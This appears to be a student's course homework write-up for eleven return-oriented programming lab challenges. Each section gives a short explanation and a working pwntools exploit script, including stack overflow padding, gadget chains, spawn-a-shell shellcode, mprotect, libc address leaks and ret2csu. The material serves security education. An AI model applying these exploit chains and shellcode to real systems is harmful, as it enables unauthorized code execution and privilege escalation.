CS_579
Chun-Yu, Chen

1. **rop-1-32**

   In this case, we can find that the size of buffer is 0x88 then we put the 0x88 junk bytes into it. After that, find the address of setregid and execve then construct the ROP via the stack.

   rop.py

```
#!/usr/bin/env python

from pwn import *

#context.terminal = ['tmux','splitw','-h']

p = process('./rop-1-32')
#p = process('./rop-1-3x')

#gdb.attach(p, 'b *0x080485d7')

buf = 'A' * 0x88 + "BLAH"

#   [   0       ]
#   [   0       ]
#   [  /bin/sh  ]
#   [pop-pop-pop-ret]
#   [   execve  ]
#   [   50000   ]
#   [   50000   ]
#   [pop-pop-ret]
#   [ setregid  ]

addr_setregid = p.elf.symbols['setregid']
addr_execve = p.elf.symbols['execve']

pop_pop_ret = 0x0804865a

#setregid(50000,50000)
buf += p32(addr_setregid)
buf += p32(pop_pop_ret)
buf += p32(50000)
buf += p32(50000)

addr_string = 0x80492ba # main
pop_pop_pop_ret = 0x08048659
#execve("/bin/sh",0 ,00)
buf += p32(addr_execve)
buf += p32(pop_pop_pop_ret)
buf += p32(addr_string)  # /bin/sh
buf += p32(0)
buf += p32(0)
p.sendline(buf)
p.interactive()
```

2. rop-1-64

In this case, the size of buffer is 0x88 then put 0x88 junk bytes into it. After that we do the similar thing like rop-1-32. However, we have to pop the arguments to the correspond registers rdi, rsi, rdx then trigger the function.

rop.py

```
#!/usr/bin/env python

from pwn import *

p = process('./rop-1-64')

buf = 'A' * 0x80 + 'BLAHBLAH'
addr_setregid = p.elf.symbols['setregid']
addr_execve = p.elf.symbols['execve']
addr_main = 0x6003cf

p_rdi_ret = 0x4007e3
p_rsi_r15_ret = 0x4007e1
p_rdx_rbp_ret = 0x4006d8

#   [ setregid  ]
#   [    0      ]
#   [   50001   ]
#   [pop rsi ret]
#   [   50001   ]
#   [pop rdi ret]

#setregid(50001,50001)
#rdi = 50001
#rsi = 50001
#setregid()

buf += p64(p_rdi_ret)
buf += p64(50001)
buf += p64(p_rsi_r15_ret)
buf += p64(50001)
buf += p64(0)
buf += p64(addr_setregid)

#   [   execve  ]
#   [pop rdx rbp ret]
#   [     0     ]
#   [     0     ]
#   [ addr main ]
#   [pop rdu ret]

#execve('main',0,0)
buf += p64(p_rdi_ret)
buf += p64(addr_main)
buf += p64(p_rsi_r15_ret)
buf += p64(0)
buf += p64(0)
buf += p64(p_rdx_rbp_ret)
buf += p64(0)
buf += p64(0)
buf += p64(addr_execve)

p.sendline(buf)
p.interactive()
```

3. rop-2-32

In this case, we can get the flag through calling open, read, and write function. First, the open function was used to open the flag file, but not directly. By using the symbolic link, the main was linked to the flag file. Then, use read function to access the content of flag then write it out. To achieve this, we use the ROP here and pass the arguments via stack. Thus, we can get the flag.

rop.py

```
#!/usr/bin/env python

from pwn import *
p = process('./rop-2-32')

addr_open = p.elf.symbols['open']
addr_read = p.elf.symbols['read']
addr_write = p.elf.symbols['write']

buf = 'A' * 0x88 + 'BLAH'
"""
0x08048626 : pop ebp ; lea esp, [ecx - 4] ; ret
0x0804868b : pop ebp ; ret
0x08048688 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048369 : pop ebx ; ret
0x08048625 : pop ecx ; pop ebp ; lea esp, [ecx - 4] ; ret
0x0804868a : pop edi ; pop ebp ; ret
0x08048689 : pop esi ; pop edi ; pop ebp ; ret
0x08048628 : popal ; cld ; ret
"""
ppp_ret = 0x08048689
addr_main = 0x80492af
#   0
#   0
#   addr_string
#   3_pop_ret
#   open
#   open("flag",0,0)
buf += p32(addr_open)
buf += p32(ppp_ret)
buf += p32(addr_main)
buf += p32(0)
buf += p32(0)
#   size
#   global variable address
#   3
#   3_pop_ret
#   read
#   read(3, global_variable_addr, size)
addr_global = 0x804a800
buf += p32(addr_read)
buf += p32(ppp_ret)
buf += p32(3)
buf += p32(addr_global)
buf += p32(100)
#   size
#   global_variable_addr
#   1
#   3_pop_ret
#   write
#   write(1, global_variable_addr, size)
buf += p32(addr_write)
buf += p32(ppp_ret)
buf += p32(1)
buf += p32(addr_global)
buf += p32(100)

p.sendline(buf)
p.interactive()
```

4. rop-2-64

In this case, we did the similar thing like rop-2-32. But, we have to pop the arguments to the correspond registers rdi, rsi, rdx then trigger the function. After open the file, it will be read into a space then be wrote out.

rop.py

```
#!/usr/bin/env python

from pwn import *

p = process('./rop-2-64')

addr_open = p.elf.symbols['open']
addr_read = p.elf.symbols['read']
addr_write = p.elf.symbols['write']

pop_rdi_ret = 0x400743
pop_rsi_r15_ret = 0x400741
pop_rdx_ret = 0x400668

addr_main = 0x6003a7

buf = 'A' * 0x80 + "BLAHBLAH"

#open("main",0,0)
buf += p64(pop_rdi_ret)
buf += p64(addr_main)
buf += p64(pop_rsi_r15_ret)
buf += p64(0)
buf += p64(0)
buf += p64(pop_rdx_ret)
buf += p64(0)
buf += p64(addr_open)

addr_global = 0x601060
#read(3,global, 100)
buf += p64(pop_rdi_ret)
buf += p64(3)
buf += p64(pop_rsi_r15_ret)
buf += p64(addr_global)
buf += p64(0)
buf += p64(pop_rdx_ret)
buf += p64(100)
buf += p64(addr_read)
#write(1,global,100)
buf += p64(pop_rdi_ret)
buf += p64(1)
buf += p64(pop_rsi_r15_ret)
buf += p64(addr_global)
buf += p64(0)
buf += p64(pop_rdx_ret)
buf += p64(100)
buf += p64(addr_write)

p.sendline(buf)
p.interactive()
```

CS_579

Chun-Yu, Chen

5. rop-3-32

In this case, we use mprotect to change protection for the calling process's memory pages. And, 0xfffff000 was used to aligned to a page boundary. We put the shellcode into the string and trigger mprotect then return to the g_buf to execute shellcode.

rop.py

```
#!/usr/bin/env python
from pwn import *

shellcode = 'j2X\x99\xcd\x80\x89\xc3\x89\xc1jGX\xcd\x80Rhn/shh//bi\x89\xe3\x89\xd1j\x0bX\xcd\x80'

#context.terminal = ['tmux','splitw','-h']

p = process('./rop-3-32')

#gdb.attach(p, 'b *0x080485ab')
#buf is at ebp-0x98
addr_mprotect = p.elf.symbols['mprotect']
addr_g_buf = p.elf.symbols['g_buf']
addr_read = p.elf.symbols['read']
#buf <- out input
#memcpy(b_buf, buf, 1024)
#g_buf <-- out_input

#[buffer -- 0x98] [Saved ebp] [mprotect] [g_buf] [g_buf] [0x1000] [7]
#read write execute
#1    1    1      -> 7
#1    1    0      -> 6
#1    0    1      -> 5

buf = shellcode + 'A' * (0x98-len(shellcode)) + 'EBP!'
buf += p32(addr_mprotect)
buf += p32(addr_g_buf)
buf += p32(addr_g_buf & 0xfffff000)
buf += p32(0x1000)
buf += p32(7)

p.sendline(buf)
p.interactive()
```

6. rop-3-64

Compared with the rop-3-32, the only different thing is that pop the arguments to the correspond register rdi, rsi, rdx then trigger the function. In addition, the shellcode was also change.

rop.py

```
#!/usr/bin/env python
from pwn import *

shellcode = 'j1X\x0f\x05H\x89\xc7H\x89\xc6jrX\x0f\x05H\xbf//bin/shH1\xc0PWH\x89\xe7H\x89\xc6H\x89\xc2j;X\x0f\x05'

#context.terminal = ['tmux','splitw','-h']

p = process('./rop-3-64')

#gdb.attach(p, 'b *0x400687')

#buf is at rbp-0x80
addr_mprotect = p.elf.symbols['mprotect']
addr_g_buf = p.elf.symbols['g_buf']

#buf <- out input
#memcpy(h_buf, buf, 1024)
#g_buf <-- out_input

#[buffer -- 0x88] [Saved ebp] [mprotect] [g_buf] [g_buf] [0x1000] [7]
#read write execute
#1    1    1      -> 7
#1    1    0      -> 6
#1    0    1      -> 5
pop_rdi_ret = 0x400743
pop_rsi_r15_ret = 0x400741
pop_rdx_pop_rbp_ret = 0x40064a

buf = shellcode + 'A' * (0x80-len(shellcode)) + 'EBP!EBP!'
buf += p64(pop_rdi_ret)
buf += p64(addr_g_buf & 0xfffffffffffff000)
buf += p64(pop_rsi_r15_ret)
buf += p64(0x1000)
buf += p64(0)
buf += p64(pop_rdx_pop_rbp_ret)
buf += p64(7)
buf += p64(0)
buf += p64(addr_mprotect)
buf += p64(addr_g_buf)

p.sendline(buf)
p.interactive()
```

CS_579
Chun-Yu, Chen

7. rop-4-32

In this case, we have to use the characters which have existed in the program to generate the absolute path of the flag by using strcpy. Then use the complete path to open the flag file then read it and put the content at the usable space then print it.

rop.py

```
#!/usr/bin/env python
from pwn import *
#context.terminal = ['tmux','splitw','-h']
p = process('./rop-4-32')
#gdb.attach(p,'b *0x80497ef')

addr_strcpy = p.elf.symbols['strcpy']
addr_open = p.elf.symbols['open']
addr_read = p.elf.symbols['read']
addr_printf = p.elf.symbols['printf']
buf = 'A' * 0x88 + 'BBBB'

'''
pwndbg> x/s $ebx-0x1890
0x8048768:      "the quick brown fox jumps over the lazy dog!"
pwndbg> x/s $ebx-0x1868
0x8048798:      "I also put this for you: 1234567890-"
pwndbg> x/s 0x80487b1
0x80487b1:      "1234567890-"
'''

target_string = '/home/users/chench6/week5/rop-4-32/flag\x00'
alpha_string = "the quick brown fox jumps over the lazy dog!\x00"
number_string = "1234567890-\x00"

addr_alpha = 0x8048768
addr_number = 0x80487b1
addr_slash = 0x80497e0

'''
pwndbg> x/10xw 0x804a100
0x804a100:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a110:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a120:      0x00000000      0x00000000
pwndbg> x/s 0x80497e0
0x80497e0:      "/"
'''

addr_string = 0x804a100

'''
0x0804858a : pop ebp ; cld ; leave ; ret
0x080486d5 : pop ebp ; lea esp, [ecx - 4] ; ret
0x080485c7 : pop ebp ; ret
0x080486d4 : pop ebx ; pop ebp ; lea esp, [ecx - 4] ; ret
0x08048738 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483a9 : pop ebx ; ret
0x080486d3 : pop ecx ; pop ebx ; pop ebp ; lea esp, [ecx - 4] ; ret
0x0804873a : pop edi ; pop ebp ; ret
0x08048739 : pop esi ; pop edi ; pop ebp ; ret
0x080486d7 : popal ; cld ; ret
0x0804819c : ret
'''

p_r = 0x080483a9
p_p_r = 0x0804873a
p_p_p_r = 0x08048739
```

```
for i in range(len(target_string)):
    c = target_string[i]
    if c == '/':
        src_addr = addr_slash
    elif c in alpha_string:
        src_addr = addr_alpha + alpha_string.find(c)
    elif c in number_string:
        src_addr = addr_number + number_string.find(c)

    dst_addr = addr_string + i
    #strcpy(0x804a100 , "the quick brown fox jumps over the lazy dog!")
    #str[0] = 't'
    #strcpy(0x804a101, "r the lazy dog!")
    #str[0] = 't', str[1] = 'r'
    #strcpy(dst_addr, src_addr)
    buf += p32(addr_strcpy)
    buf += p32(p_p_r)
    buf += p32(dst_addr)
    buf += p32(src_addr)

#open(target_string, 0, 0)
buf += p32(addr_open)
buf += p32(p_p_p_r)
buf += p32(addr_string)
buf += p32(0)
buf += p32(0)
#read(3,buf,100)
addr_buf = 0x804a300
buf += p32(addr_read)
buf += p32(p_p_p_r)
buf += p32(3)
buf += p32(addr_buf)
buf += p32(100)
#printf(buf)
buf += p32(addr_printf)
buf += p32(p_r)
buf += p32(addr_buf)

p.sendline(buf)
p.interactive()
```

CS_579
Chun-Yu, Chen

8. rop-4-64

In this case, we do the similar thing like rop-4-32. The only different thing is that the arguments have to be popped out to the correspond register rdi, rsi, rdx then trigger the function.

rop.py

```
#!/usr/bin/env python
from pwn import *

#context.terminal = ['tmux','splitw','-h']

p = process('./rop-4-64')

#gdb.attach(p,'b *0x40079f')

addr_strcpy = p.elf.symbols['strcpy']
addr_open = p.elf.symbols['open']
addr_read = p.elf.symbols['read']
addr_printf = p.elf.symbols['printf']
buf = 'A' * 0x80 + 'EBP!EBP!'

"""
pwndbg> x/s 0x400890
0x400890:       "the quick brown fox jumps over the lazy dog!"
pwndbg> x/s 0x4008c0
0x4008c0:       "I also put this for you: 1234567890-"
pwndbg> x/s 0x4008d9
0x4008d9:       "1234567890-"
"""

target_string = '/home/users/chench6/week5/rop-4-64/flag\x00'
alpha_string = "the quick brown fox jumps over the lazy dog!\x00"
number_string = "1234567890-\x00"

addr_alpha = 0x400890
addr_number = 0x4008d9
addr_slash = 0x400398

"""
pwndbg> x/10xw 0x601800
0x601800:       0x00000000      0x00000000
0x601810:       0x00000000      0x00000000

pwndbg> x/s 0x400398
0x400398:       "/"
"""

addr_string = 0x601800

"""
0x0000000000400863 : pop rdi ; ret
0x000000000040073f : pop rdx ; nop ; pop rbp ; ret
0x0000000000400861 : pop rsi ; pop r15 ; ret
0x000000000040085d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
"""

pop_rdi_ret = 0x400863
pop_rsi_pop_r15_ret = 0x400861
pop_rdx_pop_rbp_ret = 0x40073f
ret = 0x400556
```

```
for i in range(len(target_string)):
    c = target_string[i]
    if c == '/':
        src_addr = addr_slash
    elif c in alpha_string:
        src_addr = addr_alpha + alpha_string.find(c)
    elif c in number_string:
        src_addr = addr_number + number_string.find(c)

    dst_addr = addr_string + i
    #strcpy(0x601000, "the quick brown fox jumps over the lazy dog!")
    #str[0] = 't'
    #strcpy(0x601001, "e the lazy dog!")
    #str[0] = 't', str[1] = 'e'
    #strcpy(dst_addr, src_addr)
    block = p64(pop_rdi_ret) + p64(dst_addr)
    block += p64(pop_rsi_pop_r15_ret) + p64(src_addr) + p64(0)
    block += p64(addr_strcpy)

    buf += block
#open(target_string, 0, 0)
buf += p64(pop_rdi_ret) + p64(addr_string)
buf += p64(pop_rsi_pop_r15_ret) + p64(0) + p64(0)
buf += p64(pop_rdx_pop_rbp_ret) + p64(0) + p64(0)
buf += p64(addr_open)
#read(3,buf,100)
addr_buf = 0x601900
buf += p64(pop_rdi_ret) + p64(3)
buf += p64(pop_rsi_pop_r15_ret) + p64(addr_buf) + p64(0)
buf += p64(pop_rdx_pop_rbp_ret) + p64(100) + p64(0)
buf += p64(addr_read)
#printf(buf)
buf += p64(pop_rdi_ret) + p64(addr_buf)
buf += p64(ret)
buf += p64(addr_printf)

p.sendline(buf)
p.interactive()
```

9. rop-5-32

In this case, we use the printf to print the leak address of Libc then find the specific address about printf then get the offset between printf and execve. After that, we can use offset to calculate the address of the execve in Libc. Finally, we can execute the execve then get the flag.

rop.py

```
#!/usr/bin/env python

from pwn import *

p = process('./rop-5-32')

print(p.recvline())

buf = 'A' * 0x88 + "EBP!"

"""
0x08048575 : pop ebp ; lea esp, [ecx - 4] ; ret
0x08048502 : pop ebp ; ret
0x080485d8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048349 : pop ebx ; ret
0x08048574 : pop ecx ; pop ebp ; lea esp, [ecx - 4] ; ret
0x080485da : pop edi ; pop ebp ; ret
0x080485d9 : pop esi ; pop edi ; pop ebp ; ret
"""

p_ret = 0x08048349
p_p_ret = 0x080485da
p_p_p_ret = 0x080485d9
p_p_p_p_ret = 0x080485d8

addr_printf_plt = p.elf.symbols['printf']
addr_printf_got = p.elf.got['printf']
addr_input_func = p.elf.symbols['input_func']

#printf(addr_printf_got)
buf += p32(addr_printf_plt)
buf += p32(p_ret)
buf += p32(addr_printf_got)

#input_func()
buf += p32(addr_input_func)

p.sendline(buf)
print(p.recvline())

data = p.recv()
print("data : %s" % repr(data))

arr = []
for i in xrange(len(data)/4-1):
    x = 1
    chunk = data[x+i*4:x+i*4+4]
    arr.append(u32(chunk))

for value in arr:
    print(hex(value))

addr_printf_libc = arr[2]

#execve("/bin/sh, 0, 0")
#print - execve
e = ELF('/lib/i386-linux-gnu/libc.so.6')
offset_printf = e.symbols['printf']
offset_execve = e.symbols['execve']
addr_execve_libc = addr_printf_libc - offset_printf + offset_execve
```

```
#0x8048028:      "4"
addr_four = 0x8048028

buf = 'A' * 0x88 + 'EBP!'
#execve("4",0,0)
buf += p32(addr_execve_libc)
buf += p32(p_p_p_ret)
buf += p32(addr_four)
buf += p32(0)
buf += p32(0)

p.sendline(buf)
p.interactive()
```

CS_579
Chun-Yu, Chen

10. rop-5-64

In this case, we do the similar thing like rop-5-32. The only different thing is that pop the arguments to the correspond registers rdi, rsi, rdx then trigger the function.

rop.py

```
#!/usr/bin/env python

from pwn import *

#context.terminal = ['tmux', 'splitw','-h']

p = process('./rop-5-64')

#gdb.attach(p , 'b *0x4006cc')

print(p.recvline())

buf = 'A' * 0x80 + "RBP!RBP!"

'''
0x000000000040075c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040075e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400760 : pop r14 ; pop r15 ; ret
0x0000000000400762 : pop r15 ; ret
0x00000000004005f2 : pop rbp ; mov byte ptr [rip + 0x200a56], 1 ; ret
0x000000000040077f : pop rbp ; mov edi, 0x601050 ; jmp rax
0x000000000040075b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040075f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400590 : pop rbp ; ret
0x0000000000400763 : pop rdi ; ret
0x0000000000400688 : pop rdx ; nop ; pop rbp ; ret
0x0000000000400761 : pop rsi ; pop r15 ; ret
0x000000000040075d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004b1 : ret
'''

p_rdi_r = 0x400763
p_rsi_r15_r = 0x400761
p_rdx_rbp_r = 0x400688
ret = 0x4004b1

addr_printf_plt = p.elf.symbols['printf']
addr_printf_got = p.elf.got['printf']
addr_input_func = p.elf.symbols['input_func']
print(hex(addr_printf_plt))
print(hex(addr_printf_got))
print(hex(addr_input_func))

#printf(addr_printf_got)
buf += p64(p_rdi_r)
buf += p64(addr_printf_got)
buf += p64(ret)
buf += p64(addr_printf_plt)

#input_func()
buf += p64(ret)
buf += p64(addr_input_func)

p.sendline(buf)
print(p.recvline())

data = p.recv()
print("data : %s" % repr(data))
```

```
arr = []
for i in xrange(len(data)/8):
    chunk = data[i*8:i*8+8]
    arr.append(u64(chunk))

for value in arr:
    print(hex(value))

addr_printf_libc = arr[0]&0x0000ffffffffffff
#print(hex(addr_printf_libc&0x0000ffffffffffff))
print(addr_printf_libc)
#execve("/bin/sh, 0, 0")
#print - execve
e = ELF('/lib/x86_64-linux-gnu/libc.so.6')
offset_printf = e.symbols['printf']
offset_execve = e.symbols['execve']
addr_execve_libc = addr_printf_libc - offset_printf + offset_execve

#0x400020:       "@"
addr_at = 0x400020

buf = 'A' * 0x80 + 'RBP!RBP!'
#execve("@",0,0)
buf += p64(p_rdi_r )
buf += p64(addr_at)
buf += p64(p_rsi_r15_r )
buf += p64(0)
buf += p64(0)
buf += p64(p_rdx_rbp_r)
buf += p64(0)
buf += p64(0)
buf += p64(addr_execve_libc)

p.sendline(buf)
p.interactive()
```

CS_579
Chun-Yu, Chen

11. rop-6-64

In this case, we cannot find the “pop rdx” by using the ROPGADGET. Thus, we use the __libc_csu_init to achieve the goal.

rop.py

```
#!/usr/bin/env python
from pwn import *

#context.terminal = ['tmux','splitw','-h']

p = process('./rop-6-64')

#gdb.attach(p, 'b *0x400660')

buf = 'A' * 0x80 + "RBP!RBP!"

#0x400020:       "@"
#execve("@", 0, 0)
addr_at = 0x400020
#addr_execve_plt = p.elf.symbols['execve']
addr_execve_got = p.elf.got['execve']
"""
0x00000000004006fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006fe : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400700 : pop r14 ; pop r15 ; ret
0x0000000000400702 : pop r15 ; ret
0x00000000004005c2 : pop rbp ; mov byte ptr [rip + 0x200a86], 1 ; ret
0x000000000040054f : pop rbp ; mov edi, 0x601050 ; jmp rax
0x00000000004006fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ff : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x0000000000400703 : pop rdi ; ret
0x0000000000400701 : pop rsi ; pop r15 ; ret
0x00000000004006fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
"""

p_rdi_r = 0x400703
p_rsi_r15_r = 0x400701
"""
0x00000000004006e0 <+64>:    mov    %r13,%rdx
0x00000000004006e3 <+67>:    mov    %r14,%rsi
0x00000000004006e6 <+70>:    mov    %r15d,%edi
0x00000000004006e9 <+73>:    callq  *(%r12,%rbx,8)
0x00000000004006ed <+77>:    add    $0x1,%rbx
0x00000000004006f1 <+81>:    cmp    %rbp,%rbx
0x00000000004006f4 <+84>:    jne    0x4006e0 <__libc_csu_init+64>
0x00000000004006f6 <+86>:    add    $0x8,%rsp
0x00000000004006fa <+90>:    pop    %rbx
0x00000000004006fb <+91>:    pop    %rbp
0x00000000004006fc <+92>:    pop    %r12
0x00000000004006fe <+94>:    pop    %r13
0x0000000000400700 <+96>:    pop    %r14
0x0000000000400702 <+98>:    pop    %r15
0x0000000000400704 <+100>:   retq
"""

p_all_r = 0x4006fa
call_inst = 0x4006e0

buf += p64(p_rdi_r)
buf += p64(addr_at)
buf += p64(p_all_r)
buf += p64(0) #rbx
buf += p64(0) #rbp
buf += p64(addr_execve_got) #r12
buf += p64(0) #r13, rdx, 3rd arg = 0
buf += p64(0) #r14, rsi, 2nd arg = 0
buf += p64(addr_at) #r15, rdi, 1st arg =
buf += p64(call_inst)
"""
buf += p64(p_rdi_r)
buf += p64(addr_at)
buf += p64(p_rsi_r15_r)
buf += p64(0)
buf += p64(0)
buf += p64(addr_execve_plt)
"""
with open('exploit.txt', 'wb') as f:
    f.write(buf)

p.sendline(buf)
p.interactive()
```